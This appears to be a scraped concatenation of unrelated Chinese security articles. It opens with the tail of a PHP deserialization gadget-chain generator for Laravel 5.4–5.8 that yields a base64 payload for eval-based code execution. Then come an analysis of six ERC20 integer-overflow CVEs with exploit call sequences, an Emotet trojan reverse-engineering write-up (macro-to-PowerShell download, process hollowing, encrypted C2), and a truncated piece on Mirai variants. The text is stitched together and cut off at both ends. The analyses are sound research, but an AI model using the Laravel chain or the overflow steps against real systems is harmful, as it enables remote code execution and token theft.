public function __construct($code){
$this->connection = new MockDefinition($code);
}
}
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent($event);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Mockery\Generator{
use Illuminate\Session\Store;
class MockDefinition{
protected $config;
protected $code;
public function __construct($code){
$this->config=new Store();
$this->code=$code;
}
}
}
namespace Illuminate\Session{
class Store{
protected $name='jiang';//类不存在就好哈哈
}
}
?>
这条链子看起来非常曲折，看一下调用栈吧。
到`load`这里，又因为这个方法需要的参数是一个 `MockDefinition` 的对象，所以我们需要让 `$connection`为这个对象，
这个对象的 `getClassName` 又去其他类的 `getName` 方法。思路要清晰啊。
## 写在后面
虽说审计的 `laravel5.4` 的代码 ，但这4条链子在，`laravel5.4-5.8` （仅测试这几个版本）中都是可以打通的。
后续审计 `5.7 5.8` 的框架就不再细说这些地方的。 | 社区文章 |
作者：Hcamael@知道创宇404区块链安全研究团队
### 背景
最近学习了下以太坊的智能合约，而且也看到挺多厂家pr智能合约相关的漏洞，其中[《ERC20智能合约整数溢出系列漏洞披露》](https://paper.seebug.org/626/
"《ERC20智能合约整数溢出系列漏洞披露》")文章中披露了6个CVE编号的漏洞，而这些漏洞都属于整型溢出漏洞范畴，其中5个漏洞均需要合约Owner才能触发利用。本文正是针对这些漏洞从合约代码及触发逻辑上做了详细分析，并提出了一些关于owner相关漏洞的思考。
### 漏洞分析
#### 1\. CVE-2018-11809
该漏洞被称为“超额购币”，相关合约（EthLendToken）源码:
<https://etherscan.io/address/0x80fB784B7eD66730e8b1DBd9820aFD29931aab03#code>
在合约代码中，`buyTokensPresale`和`buyTokensICO`两个函数都是存在整型上溢出的情况：
function buyTokensPresale() public payable onlyInState(State.PresaleRunning)
{
// min - 1 ETH
require(msg.value >= (1 ether / 1 wei));
uint newTokens = msg.value * PRESALE_PRICE;
require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);
balances[msg.sender] += newTokens;
supply+= newTokens;
presaleSoldTokens+= newTokens;
totalSoldTokens+= newTokens;
LogBuy(msg.sender, newTokens);
}
function buyTokensICO() public payable onlyInState(State.ICORunning)
{
// min - 0.01 ETH
require(msg.value >= ((1 ether / 1 wei) / 100));
uint newTokens = msg.value * getPrice();
require(totalSoldTokens + newTokens <= TOTAL_SOLD_TOKEN_SUPPLY_LIMIT);
balances[msg.sender] += newTokens;
supply+= newTokens;
icoSoldTokens+= newTokens;
totalSoldTokens+= newTokens;
LogBuy(msg.sender, newTokens);
}
溢出点：
require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);
require(totalSoldTokens + newTokens <= TOTAL_SOLD_TOKEN_SUPPLY_LIMIT);
拿`buyTokensPresale`函数举例，在理论上`presaleSoldTokens +
newTokens`存在整型上溢出漏洞，会导致绕过`require`判断，造成超额购币。
接下来，我们再仔细分析一下，如果造成整型上溢出，先来看看`presaleSoldTokens`变量的最大值
uint public presaleSoldTokens = 0;
require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);
presaleSoldTokens+= newTokens;
该合约代码中，`presaleSoldTokens`变量相关的代码只有这三行，因为存在着require判断，所以不论`presaleSoldTokens +
newTokens`是否溢出，`presaleSoldTokens <= PRESALE_TOKEN_SUPPLY_LIMIT`恒成立，因为有着断言代码：
assert(PRESALE_TOKEN_SUPPLY_LIMIT==60000000 * (1 ether / 1 wei));
所以，`presaleSoldTokens <= 60000000 * (1 ether / 1 wei)`，其中`1 ether / 1 wei =
1000000000000000000`，所以`max(presaleSoldTokens) == 6*(10^25)`
再来看看变量`newTokens`，该变量的值取决于用户输出，是用户可控变量，相关代码如下：
uint newTokens = msg.value * PRESALE_PRICE;
uint public constant PRESALE_PRICE = 30000;
如果我们向`buyTokensPresale`函数转账1 ether,
`newTokens`的值为`1000000000000000000*30000=3*(10^22)`
下面来计算一下，需要向该函数转账多少以太币，才能造成溢出
在以太坊智能合约中，`uint`默认代表的是`uint256`，取值范围是`0~2^256-1`，所以，需要`newTokens`的值大于`(2^256-1)-presaleSoldTokens`。
最后计算出，我们需要向`buyTokensPresale`函数转账:
>>> (2**256-1)-(6*(10**25))/(3*(10**22))
115792089237316195423570985008687907853269984665640564039457584007913129637935L
才可以造成整型上溢出，超额购币，整个以太坊公链，发展至今，以太币总余额有达到这个数吗？
虽然理论上该合约的确存在漏洞，但是实际却无法利用该漏洞
#### 2\. CVE-2018-11810
该类漏洞被称为：“超额定向分配”
相关事例（ LGO
）源码：<https://etherscan.io/address/0x123ab195dd38b1b40510d467a6a359b201af056f#code>
根据该漏洞的描述：
> 管理员绕过合约中规定的单地址发币上限，给指定地址分配超额的token
跟上一个漏洞相比，因为该漏洞存在于`onlyOwner`的函数中，只能Owner(管理员)才能调用该漏洞，所以我认为该类漏洞可以算做是“后门“类漏洞。
所以该类漏洞的利用有两个思路：
1. Owner留下来的“后门”，供自己使用，专门用来坑合约的其他使用者(所谓的”蜜罐合约“，就是这种情况)
2. 该合约有其他漏洞，能让自己成为Owener，或者可以说，结合提权漏洞进行利用
首先，我们先假设自己就是Owner，来研究该漏洞的利用流程，以下是存在漏洞的函数：
function allocate(address _address, uint256 _amount, uint8 _type) public onlyOwner returns (bool success) {
// one allocations by address
require(allocations[_address] == 0);
if (_type == 0) { // advisor
// check allocated amount
require(advisorsAllocatedAmount + _amount <= ADVISORS_AMOUNT);
// increase allocated amount
advisorsAllocatedAmount += _amount;
// mark address as advisor
advisors[_address] = true;
} else if (_type == 1) { // founder
// check allocated amount
require(foundersAllocatedAmount + _amount <= FOUNDERS_AMOUNT);
// increase allocated amount
foundersAllocatedAmount += _amount;
// mark address as founder
founders[_address] = true;
} else {
// check allocated amount
require(holdersAllocatedAmount + _amount <= HOLDERS_AMOUNT + RESERVE_AMOUNT);
// increase allocated amount
holdersAllocatedAmount += _amount;
}
// set allocation
allocations[_address] = _amount;
initialAllocations[_address] = _amount;
// increase balance
balances[_address] += _amount;
// update variables for bonus distribution
for (uint8 i = 0; i < 4; i++) {
// increase unspent amount
unspentAmounts[BONUS_DATES[i]] += _amount;
// initialize bonus eligibility
eligibleForBonus[BONUS_DATES[i]][_address] = true;
bonusNotDistributed[BONUS_DATES[i]][_address] = true;
}
// add to initial holders list
initialHolders.push(_address);
Allocate(_address, _amount);
return true;
}
该合约相当于一个代币分配的协议，Owner可以随意给人分配代币，但是不能超过如下的限制：
代币的总额: `uint256 constant INITIAL_AMOUNT = 100 * onePercent;` 给顾问5%: `uint256
constant ADVISORS_AMOUNT = 5 * onePercent;` 创始人要15%: `uint256 constant
FOUNDERS_AMOUNT = 15 * onePercent;` 销售出了60%: `uint256 constant HOLDERS_AMOUNT
= 60 * onePercent;` 保留了20%: `uint256 constant RESERVE_AMOUNT = 20 *
onePercent;`
对应到下面三个判断：
require(advisorsAllocatedAmount + _amount <= ADVISORS_AMOUNT);
require(foundersAllocatedAmount + _amount <= FOUNDERS_AMOUNT);
require(holdersAllocatedAmount + _amount <= HOLDERS_AMOUNT + RESERVE_AMOUNT);
跟上一个CVE一样，该漏洞本质上也是整型上溢出，但是上一个漏洞，用户可控的变量来至于向合约转账的以太币的数值，所以在实际情况中，基本不可能利用。但是在该漏洞中，用户可控的变量`_amount`，是由用户任意输入，使得该漏洞得以实现
下面，利用漏洞给顾问分配超过5%的代币：
1. 给顾问A分配`2*onePercent`数量的代币：`allocte("0xbd08e0cddec097db7901ea819a3d1fd9de8951a2", 362830104000000, 0)`
1. 给顾问B分配一个巨大数量的代币，导致溢出：`allocte("0x63ac545c991243fa18aec41d4f6f598e555015dc", 115792089237316195423570985008687907853269984665640564039457583645083025639937, 0)`
2. 查看顾问B的代币数：`balanceOf("0x63ac545c991243fa18aec41d4f6f598e555015dc") => 115792089237316195423570985008687907853269984665640564039457583645083025639937`
经过后续的审计，发现该合约代码中的`own`变量只能由Owner修改，所以该漏洞只能被Owner利用
#### 3\. CVE-2018-11809
该漏洞被称为：”超额铸币“，但实际和之前的漏洞没啥区别
含有该漏洞的合约Playkey
(PKT）源码：<https://etherscan.io/address/0x2604fa406be957e542beb89e6754fcde6815e83f#code>
存在漏洞的函数:
function mint(address _holder, uint256 _value) external icoOnly {
require(_holder != address(0));
require(_value != 0);
require(totalSupply + _value <= tokenLimit);
balances[_holder] += _value;
totalSupply += _value;
Transfer(0x0, _holder, _value);
}
比上一个漏洞的代码还更简单，只有ico(相当于之前的owner)能执行该函数，阅读全篇代码，ico是在合约部署的时候由创建人设置的，后续无法更改，所以该漏洞只能被ico(owner)利用
该合约本身的意图是，ico能随意给人分配代币，但是发行代币的总额度不能超过`tokenLimit`，但是通过整型上溢出漏洞，能让ico发行无限个代币，利用流程如下：
1. 部署合约，设置ico为自己账户地址，设置发行代币的上限为100000: `PTK("0x8a0b358029b81a52487acfc776fecca3ce2fbf4b", 100000)`
1. 给账户A分配一定额度的代币: `mint("0xbd08e0cddec097db7901ea819a3d1fd9de8951a2", 50000)`
1. 利用整型上溢出给账户B分配大量的代币: `mint("0x63ac545c991243fa18aec41d4f6f598e555015dc", 115792089237316195423570985008687907853269984665640564039457584007913129589938)`
2. 查看账户B的余额: `balanceOf("0x63ac545c991243fa18aec41d4f6f598e555015dc") => 115792089237316195423570985008687907853269984665640564039457584007913129589938`
#### 4\. CVE-2018-11812
该漏洞被称为：“随意铸币”
相关漏洞合约 Polymath
(POLY)源码：<https://etherscan.io/address/0x9992ec3cf6a55b00978cddf2b27bc6882d88d1ec#code>
具有漏洞的函数:
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
这个漏洞很简单，也很好理解，Owner可以随意增加任意账户的代币余额，可以想象成，银行不仅能随心所欲的印钞票，还能随心所以的扣你的钱
因为Owner是在合约部署的时候被设置成合约部署者的账户地址，之后也只有Owner能修改Own账户地址，所以该漏洞只能被Owner利用
这个我觉得与其说是漏洞，不如说是Owner留下的“后门”
#### 5\. CVE-2018-11687
该漏洞被称为：“下溢增持”
相关漏洞合约Bitcoin Red
(BTCR)源码：<https://etherscan.io/address/0x6aac8cb9861e42bf8259f5abdc6ae3ae89909e11#code>
相关的漏洞函数:
function distributeBTR(address[] addresses) onlyOwner {
for (uint i = 0; i < addresses.length; i++) {
balances[owner] -= 2000 * 10**8;
balances[addresses[i]] += 2000 * 10**8;
Transfer(owner, addresses[i], 2000 * 10**8);
}
}
该合约限制了发行代币的上限: `uint256 _totalSupply = 21000000 * 10**8;`
并且在合约部署的时候把能发行的合约都分配给了Owner: `balances[owner] = 21000000 * 10**8;`
然后Owner可以把自己账户的代币，任意分配给其他账户，分配的代码就是上面的函数，给别人分配一定额度的代币时，自己减去相应额度的代币，保证该合约总代币数不变
但是因为没有判断Owner的账户是否有足够的余额，所以导致了减法的整型下溢出，同样也存在整型上溢出，但是因为uint256的上限是`2^256-1`，但是利用过于繁琐，需要运行非常多次的`balances[addresses[i]]
+= 2000 * 10**8;`
而减法的利用就很简单了，或者我们可以根本不考虑这个减法，Owner可以给任意账户分配`2000 *
10**8`倍数的代币，该漏洞的功能和上一个漏洞的基本一致，可以任意发行代币或者减少其他账户的代币数
因为Owner是在合约部署的时候被设置为部署合约人的账户地址，后续没有修改own的功能，所以该漏洞也只有Owner可以利用
#### 6\. CVE-2018-11811
该漏洞被称为：“高卖低收”
相关漏洞合约 Internet Node Token
(INT)源码：<https://etherscan.io/address/0x0b76544f6c413a555f309bf76260d1e02377c02a>
在该CVE的描述中，存在漏洞的函数是:
function sell(uint256 amount) {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
并且描述的漏洞原理是:
> sellPrice被修改为精心构造的大数后，可导致amount *
> sellPrice的结果大于整数变量(uint256)最大值，发生整数溢出，从而变为一个极小值甚至归零`
相关函数如下：
function buy() payable {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
该漏洞的利用流程如下：
1. 管理员设置`buyPrice = 1 ether`, `sellPrice = 2^255`
2. 用户A买了两个以太币价格的代币: buy({value:toWei(2)})
3. 用户A卖掉两个代币: send(2)
4. 用户A将会收到`2*sellPrice = 2^256`价格的Wei
5. 但是因为`transfer`的参数是uint256, 所以发生了溢出，用户A实际得到0Wei
表面上看这个漏洞还是有危害的，但是我们仔细想想，这个漏洞其实是比较多余的，我们可以使用更简单的步骤达到相同的目的:
1. 管理员设置`buyPrice = 1 ether`, `sellPrice = 0`
2. 用户A买了两个以太币价格的代币: buy({value:toWei(2)})
3. 用户A卖掉两个代币: send(2)
4. 用户A将会收到`2*sellPrice = 0`价格的Wei
我认为该合约最大的问题在于Owner可以随意设置代币的买入和卖出价格。
顺带提一下这个问题也是前面peckshield公布的“tradeTrap”漏洞(<https://peckshield.com/2018/06/11/tradeTrap/>)提到的“Security
Issue 2: Manipulatable Prices and Unfair Arbitrage” 是同一个问题。
### 总结
经过上面的分析，在这6个CVE中，虽然都是整型溢出，但第一个CVE属于理论存在，但实际不可实现的整型上溢出漏洞，剩下5个CVE都属于对管理者有利，会损害用户利用的漏洞，或者可以称为“后门”，也正是这个原因也导致了一些关于需要Owner触发漏洞意义讨论
如果我们把智能合约类比为传统合同，智能合约代码就是传统合同的内容，但是和传统的合同相比，智能合约拥有三个利益团体，一个是编写合约代码的人(智能合约中的Owner，或者我们可以称为甲方)，使用该合约的其他人(我们可以称为乙方)，跟该智能合约无关的其他人(比如利用合约漏洞获利的黑客)。从这个角度来看Owner条件下触发的漏洞在理论上是可以损害到乙方的利益，如对于存在“恶意”的owner或者黑客配合其他漏洞获取到owner权限的场景上来说，还是有一定意义的。
另外从整个上市交易流程来看，我们还需要关注到“交易所”这个环节，交易所的风控体系在某种程度上可以限制这种“恶意”的owner或黑客利用。
由此可见合约审计对于“甲方”、“乙方”、交易所都有重要的意义。
知道创宇智能合约安全审计：<http://www.scanv.com/lca/index.html>
欢迎扫码咨询：
### 参考链接
1. <https://paper.seebug.org/626/>
2. <https://mp.weixin.qq.com/s/6PKWXJXAKVCu5bJYlKy2Aw>
* * * | 社区文章 |
# Emotet木马运行原理完全分析
##### 译文声明
本文是翻译文章，文章原作者 2671394893
译文仅供参考，具体内容表达以及含义原文为准。
作者：[浪子_三少](http://bobao.360.cn/member/contribute?uid=2671394893)
预估稿费：1000RMB
**（本篇文章享受双倍稿费 活动链接请**[ **点击此处**](https://www.anquanke.com/post/id/87276) **）**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
##
## 钓鱼邮件
最近公司收到一些钓鱼木马邮件，内容形式如下：
## 感染Doc文档
邮件里有个链接，当点开链接后会下载一个doc文档，打开文档会发现有宏代码
经过一些列解密后会执行shell执行宏命令，打印出这个信息出来后发现，原来执行了powershell命令
是从网络url中下载一些文件并且 StartProcess，看来这才是真正的木马，下载的是一个exe，名字是随机的四个字符的exe名字。
## 木马分析
下面就开始分析这个木马，用ollydbg加载木马，在Winmain函数入口点下断点：
F9飞一次，停在了入口，慢慢 F8单步，木马直接到了0300149C的地址
F7继续进入函数：
进入函数不久木马一直两个代码间循环，无法继续往下走，
（1） 循环起止1.
（2） 循环往上跳
当我们f9的时候一直不能跳出循环，我们通过IDA查看发现他做了一个时间判断故意为了防止被分析做了一个时间开关，这个时间有点太大了。
我们直接修改EIP到循环外的地址，跳过这个循环。
继续往下走。
下面有Call
VirtualProtect,而这个VirtualProtect把刚才分配的地址改写成PAGE_EXECUTE_READWRITE的属性，也就是变成一个可读写可执行的代码页。
下面就到了木马对内置的加密代码的解密了，可以明显看到原始数据被加密了。
解密完后我们可以看到内存地址内容了，
到此这个函数就执行完毕，返回到入口函数位置后，下面有个cal [3011744] 实际上是前面函数内解密分配的shellcode函数 。
实际上是call 001AA618,进入函数
再次进入就进入真正的函数位置了
## Shellcode
很明显字符串 75 73 65 72 33 32用字节码写出来，作者做了一些免杀处理。
在shellcode遇到第一个函数这个函数call
001AA008,函数的功能是查找木马的导入表找到LoadLibraryA函数和GetProcAddress这两个函数地址
接下来就是通过LoadLibrary 和GetProcAddress函数动态获取一些API的地址，
一共要获取几十个函数的地址，这块我们跳过去,F9一路飞到地址001AB4EF
这个函数直接调用函数下面的地址，继续 F8单步到001AB50F
继续F7进入001AB50F函数
在这里他会判断木马目录下有没有apfHQ文件，所以我们事先需要生成一个apfHQ文件在目录下，空文件也行，这个过程完毕后就进入了01AA408函数。
继续往1AA408函数内部F7，会经过一些列的RegisterClassEx，
CreateWinodws、GetMssage等窗口函数后就进入了1AA108函数
继续F7进入1AA108函数，在进入函数不久，木马会去取一个内存数据，并且判断4550 “PE”这个标志位
接下来调用 GetStartUpInfo，取得当前进程的启动信息
然后接续获得当前进程的命令行参数
然后调用CreateProcess 来把自己作为子进程创建起来，而且创建标志位是CREATE_SUSPENDED
0x00000004
是以悬挂进程的方式创建子进程
然后继续通过GetThreadContext函数获得子进程的线程上下文
然后在子进程的0x400000的地址远程分配一个大小0xC00大小的内存，内存属性0x40,即读写可执行的属性内存PAGE_EXECUTE_READWRITE
0x40
接下来木马就会使用ZwWriteVirtualMemory函数往子进程的0x400000地址写入大小0x400的数据，通过查看写入的数据发现是个pe头
下面就是pe头数据
## 提取PE文件
然后木马会解析这个内存里的pe文件的各个节.text .data .rdata
等等节段，通过ZwWriteVirtualMemory函数分别往子进程的相应内存里远程写入数据。
分别写完数据后，然后改写子进程pe加载器的子进程的执行加载的首地址为0x400000
然后使用SetThreadContext设置子进程的当前线程EIP 指向0x408FE5
最后调用ResumeThread函数恢复子进程的线程继续执行
最后父进程退出，子进程开始干一些真正的盗取行为，到此我们可以知道木马是通过创建子自身子进程通过GetThreadContext、ZwWriteVirtualMemory、SetThreadContext、ResumeThread,来实现hook方法达到隐藏真实pe的目的来增加分析人员的分析难度，他的真PE文件加密存贮在数据段中解密后如下：
## PE文件分析
接下来我们就来讲解这个从内存里扣出来的pe文件到底怎么工作的。Emotet在入口点，通过hash对比去查找ntdll.dll,kernel32.dll的模块句柄，而不是通过我们常用的方法GetMoudleHanlde()的方法去获取句柄，
看看serverlog_search_moudle这个函数的实现，在函数内部使用了[[[FS:[30]+0xc]+0xc]+0x30]的方法去获取模块的名字，在ring3层FS寄存器指向的是线程环境块，0x30的偏移即指向PEB(进程环境块)，PEB的0xc就是指向LDR表，后面的偏移就是从LDR表中获取模块的BaseName,计算相应的hash对比去从LDR表中获取模块的句柄。
获取了模块首地址后，通过解密.data节段的加密导入表来获取相应的函数地址
下面是获取到的ntdll的对应函数表
下面是获取的kernel32的对应函数表
接下来就进入了init初始化的工作
首先会创建一个事件加一个互斥体
当这个mutex互斥体之前不存在时会再次把自身进程启动一遍，如果互斥体存在就进入的工作的函数里，这样也是为了多进程的方式。
当进入工作函数server_get_info_and_timer时，就表示木马已经开始真正的工作了。
## PE文件工作分析
工作初期木马会再次获取他所需的函数表，方式类似之前不再赘诉，他要获取advapi32.dll、ole32.dll、shell32.dll、crypt32.dll、urlmon.dll、wininet.dll的所需函数，如下：
然后木马会获取windows目录，然后计算系统目录所在的磁盘的磁盘id。
接下来就是取当前电脑的电脑+磁盘id的组合，并且根据磁盘id来计算当前电脑所要生成的服务程序的名字。
服务的名字是根据之前磁盘id， 在字符串”agent,app,audio,bio,bits,cache,card,cart,cert,com,
crypt,dcom,defrag,device,dhcp,dns,event,evt,flt,gdi,group,
help,home,host,info,iso,launch,log,logon,lookup,man,math,
mgmt,msi,ncb,net,nv,nvidia,proc,prop,prov,provider,reg,rpc,
screen,search”中计算出对应的字符来填充组合成所要生成的服务名和exe的名字。
得到本木马服务的exe名字后就计算系统目录里的木马exe的crc的值
接下来就是获取电脑名，并且会将电脑中的非0-9、a-z、A-Z的字符替换成X,并且最多只获取16个字符的名字，然后和磁盘id组合起来
接着木马就会使用CreateTimerQueueTimer函数创建一个Timer计时器，
流程就进入了serverlog_posturl_timer函数空间
根据当前的运行状态执行同的逻辑，case 1：时表示木马正准备初始化，然后设置状态为2，定时器执行到case
2：时就会将本木马exe创建成一个windows服务，服务名就是之前计算出来的service_name, 然后设置成状态3，进入case
3：会填充一些IP地址与端口
IP地址和端口直接写死在.data节，可以看到内存里内置了很多IP与端口，0x1BB即433端口，1F90即8080端口
Case 3还会初始化加密上下文
使用的rsa算法，导入了内存里的publickey，0x13即RSA_CSP_PUBLICKEYBLOB
Case 3执行完毕会设置成状态4，下次定时器的时候就进入case 4，case
4会把枚举当前电脑的进程信息，木马的exe的crc，电脑名磁盘id填充到待加密的缓冲区
然后对以上进行加密，再post到服务器的433端口
注意在发送到433之前，木马有进行了一次rsa加密
然后使用post的方式发送到服务器的433端口。
然后木马通过InternetReadFile
函数获取服务器的返回结果，这个结果会执行各种流程，其中有一个流程是从远程服务器去下载exe，并且执行。
如果有更新的木马会调用start_download_exe函数去实现自我更新
到此基本上木马所有主要工作流程都已经分析完毕。 | 社区文章 |
# IoT僵尸网络Mirai四大变种
##### 译文声明
本文是翻译文章，文章来源：https://asert.arbornetworks.com/
原文地址：<https://asert.arbornetworks.com/omg-mirai-minions-are-wicked/>
译文仅供参考，具体内容表达以及含义原文为准。
Mirai作为针对物联网（IoT）的恶意软件的“革命性”产品，已经在全球范围内掀起巨浪，并给大家好好上了一堂物联网恶意软件的课。在2016年一年之间，攻击者就利用Mirai发起了多起针对各种网络和服务器的高强度[DDoS攻击](https://asert.arbornetworks.com/omg-mirai-minions-are-wicked/#footnote)。自Mirai源代码发布以来，就成了构建新恶意软件的框架，开发者们在原有的Mirai代码的基础上添加了新功能，来对Mirai进行改进。
在这篇博文中，我们将深入研究Mirai的四种变体：Satori、JenX、OMG和Wicked，开发者在Mirai的基础上为它们分别加入了专属的新特性。Satori利用了远程代码注入攻击的EXP来强化Mirai代码，而JenX从代码中删除了几个原有的功能，变成了依赖外部工具来进行扫描和利用。
Mirai的变种OMG，它以HTTP和SOCKS代理的形式增加了一项新功能，代理功能能使受感染的物联网设备变成一个攻击支点。该僵尸网络的攻击者现在可以灵活地针对新漏洞发起新的扫描，或者无需更新原始二进制文件即可进行新的攻击。根据物联网设备的类型和连接方式，攻击者可以利用受感染的物联网设备来构建专用网络。
最后一个变种是Wicked，它被用来针对容易出现远程代码执行（RCE）漏洞的Netgear路由器和CCTV-DVR设备。在RCE漏洞的利用过程中，Wicked会下载Owari
bot副本并执行。通常，设备的扫描和利用都是自动化的，这也导致任何易受影响的设备可轻易成为僵尸网络的一部分。
## 关键发现
* Satori将Mirai的扫描功能用于远程代码注入攻击。
* JenX bot由Mirai进化而来，使用相似的代码，但去除了扫描和利用功能。
* OMG bot是最近物联网恶意软件领域的新成员，基于Mirai源代码添加了HTTP和SOCKS代理功能的新扩展。
* Wicked，最新的Mirai变种，利用RCE漏洞感染Netgear路由器和CCTV-DVR设备。当发现存在漏洞的设备时，会下载并执行Owari bot的副本。
## 物联网简介
物联网涵盖各种设备，包括（但不限于）：
* 基于IP的摄像头
* 有线/DSL 调制解调器
* DVR系统
* 医疗设备
任何在操作系统上运行并具有网络功能（通过网络发送/接收数据）的嵌入式设备均可视为物联网设备。物联网设备上市速度快并且成本低廉，这些因素也使得他们面临最基本类型的漏洞影响。漏洞包括：
* 硬编码/默认凭证
* 缓冲区溢出
* 命令注入
大多数物联网设备都包含这些类型的漏洞。虽然厂商也发布了补丁来解决这些问题，但通常补丁的使用率很小。通常情况下，消费者接入物联网设备时从不考虑安全性方面的问题，或者可能并不了解进行常规安全更新和使用补丁程序的必要性。根据IHS
Markit2的[最新分析](https://asert.arbornetworks.com/omg-mirai-minions-are-wicked/#footnote)，2030年之前，接入设备的数量将从2017年的将近270亿台增加到1250亿台，这些设备对于恶意软件开发者来说非常具有吸引力。
## 物联网恶意软件
在2016年下半年，我们观查到了一次针对DNS托管方/提供商的高可见性DDoS攻击，这次攻击主要影响了一些重要的在线资产，而对这次袭击负责的恶意软件就是Mirai。
Mirai使用针对IP摄像机和家庭路由器的telnet暴力破解攻击，构建了其庞大的基础网络设施。Mirai利用设备出厂的默认凭证进行攻击，其源码已于2016年9月30日公开，从那时开始，Mirai的源码就成为了最近一批物联网僵尸网络的主要部分（详细解释如下）：
* Satori
* JenX
* OMG
* Wicked
### Satori
从2017年12月到2018年1月，NETSCOUT
Arbor在网络中观测到了Satori的几个变种，而这些变种都以Mirai为基础。变种2（977534e59c72dafd0160457d802f693d）使用默认凭证扫描，而变种3（440af2606c5dc475c9a2a780e086d665ca203f01）添加了两个RCE。变种4（9c677dd17279a43325556ec5662feba0）吸引了最多的关注，因为它是第一个瞄准ARC架构的物联网僵尸网络。
在这个例子中，我们将重点介绍Satori变种3. Satori的第三个变体使用与Mirai相同的配置表（ **图1** 和 **图2**
）。变种3也使用了与Mirai相同的字符串隐写技术，并简单地将XOR键修改为“0x07”。这些相同的功能也可以在OMG中找到，在OMG中，作者使用了“deadbeef”的XOR键，我们将在后面介绍。“deadbeef”的XOR键是Mirai源码中的原始密钥。
_图1.Satori配置表（table_init）函数_
_图2.Mirai配置表（table_init）函数_
我们看到恶意软件的开发者使用了不同的EXP，例如华为的Home Gateway的EXP来扩展了Mirai的源码，如图3所示。
_图3.华为Home Gateway EXP_
上面提到的Satori变种3样本的SHA1值是440af2606c5dc475c9a2a780e086d665ca203f01，已于2017/12/05首次提交给Virus
Total。
### JenX
JenX是IoT僵尸网络的另一个样本，其底层代码也来自Mirai。JenX包含Mirai的几个DDoS功能，使用相同的配置表，并包含相同的字符串混淆技术。
**图4** 和 **图5**
比较了JenX和Mirai中的attack_udp_generic攻击代码。OMG与JenX有一些相似之处，但OMG的一个不同点是其使用了源自Mirai的HTTP
DDoS攻击——HTTP DDoS攻击已从JenX中删除，但OMG中仍在使用。
_图4：Jenx中的attack_udp_generic DoS攻击代码_
_图5：Mirai的attack_udp_generic DoS攻击代码_
如图6中所示，JenX选择了将CNC的IP地址进行硬编码，而不是像Mirai那样将C2存储在配置表中。
_图6: resolve_cnc_addr 函数_
值得注意的是，JenX移除了扫描和利用函数。有一个单独的系统被用来处理这些函数，这也是Mirai，Satori和OMG的主要组成本分。目前，其他研究人员指出，JenX似乎只专注于对视频游戏“侠盗猎车手圣安地列斯”玩家的DDoS攻击。
上面提到的JenX样本的SHA1值是5008b4a7048ee0a013465803f02cb9c4bffe9b02，已于2018/02/01首次提交给Virus
Total。
### OMG
Mirai最有趣的变种之一是OMG僵尸网络。与我们提到的其他僵尸网络一样，OMG将Mirai作为其框架，并支持Mirai的所有功能。而OMG脱颖而出的点是其开发者将代理服务器包含到了Mirai代码的扩展中。OMG整合了3proxy，其允许OMG在受感染的物联网设备上启用SOCKS和HTTP代理服务器。有了这两个功能，僵尸网络攻击者就可以通过受感染的物联网设备来选择代理任何流量，包括针对新漏洞的额外扫描、发起更多攻击、或从受感染的IoT设备进行扩展到它们所连接的其他网络。
OMG使用与Mirai，Satori和JenX相同类型的配置表来启用或禁用iptables防火墙规则，而这正允许了对代理服务器的访问。OMG在其配置表中添加了两个新功能，以处理iptables规则的添加和删除（
**图7** ）。
_图7: OMG配置表 (table_init) 函数_
**图8** 是上述配置表引用的混淆后的iptables命令的片段。我们可以使用“deadbeef”的XOR键来检索反混淆的iptables命令（
**图9** ）。
_图8：OMG XOR后的 iptables命令_
_图9：OMG反混淆后的iptables命令_
图10是控制iptables规则的函数。命令检索用于访问配置表的值（图7）。
_图10：OMG iptables函数_
如上图所示，OMG的开发者扩展了Mirai的源码以处理新的代理功能。
上面引用的OMG样本的SHA1值为0ed366c1af749cbda25ff396f28a6b7342d5dcd9，已于2018/1/15首次提交给Virus
Total。
### Wicked
Wicked是最近的Mirai变种。与Satori变种3类似，Wicked将Mirai的认证扫描功能添加到了自己的RCE扫描器中，而它的RCE扫描器则瞄准了Netgear路由器和CCTV-DVR设备。 **图11** 是定义RCE有效payload的扫描器函数的截图。
_图11 RCE EXP_
Wicked依然使用Mirai的字符串混淆技术。就像之前的变种一样，Wicked也会将XOR键替换为“0xdeadbeef”。 **如图12**
所示，我们看到以“0x37”结尾的混淆字符串。这是Wicked使用“0x37”作为XOR键的一个很好的样式，因为C字符串应该以null结尾。
_图12 Wicked 的混淆字符串_
我们可以使用“0x37”的XOR键来解码混淆的字符串，在解码后的字符串中，发现了以下ASCII“艺术”的话：
* “echo ‘¯_(ツ)_/¯ Oh hey there… Looks like I might of inected your device.’ >> /wicked.txt.“
Wicked将消息写入以下位置：
* /root
* /home
* /temp
* /
此时这些文件似乎还并未被Wicked使用，它们可能被攻击者当作一张电话卡来使用。
上面引用的Wicked样本的SHA1值是b8e8c107d242cc0b7516cf7908b67e108a7d927e，已于2018/5/05首次提交给Virus
Total。
## Mirai DDoS 攻击类型
上述所有物联网僵尸网络都使用原始Mirai源码支持的相同攻击类型。Mirai和OMG中存在以下DDoS功能：
* TCP滥用
* UDP滥用
* Valve Source Engine（VSE）查询滥用
* GRE滥用
* pseudo-random DNS label-prepending攻击（也称为DNS’Water Torture’攻击）
* HTTP GET、POST和HEAD攻击
**注意：** 除了HTTP攻击，Satori，JenX和Wicked支持相同的DDoS功能。
## Mirai DDoS防护
所有相关的网络基础设施、主机/应用程序/服务器和DNS Best Current
Practices（BCP）应由网络运营商采用面向公众的网络基础设施和/或互联网设施来执行。使用NETSCOUT Arbor
SP的组织可将流量遥测（例如，NetFlow，IPFIX，s / Flow，cflowd /
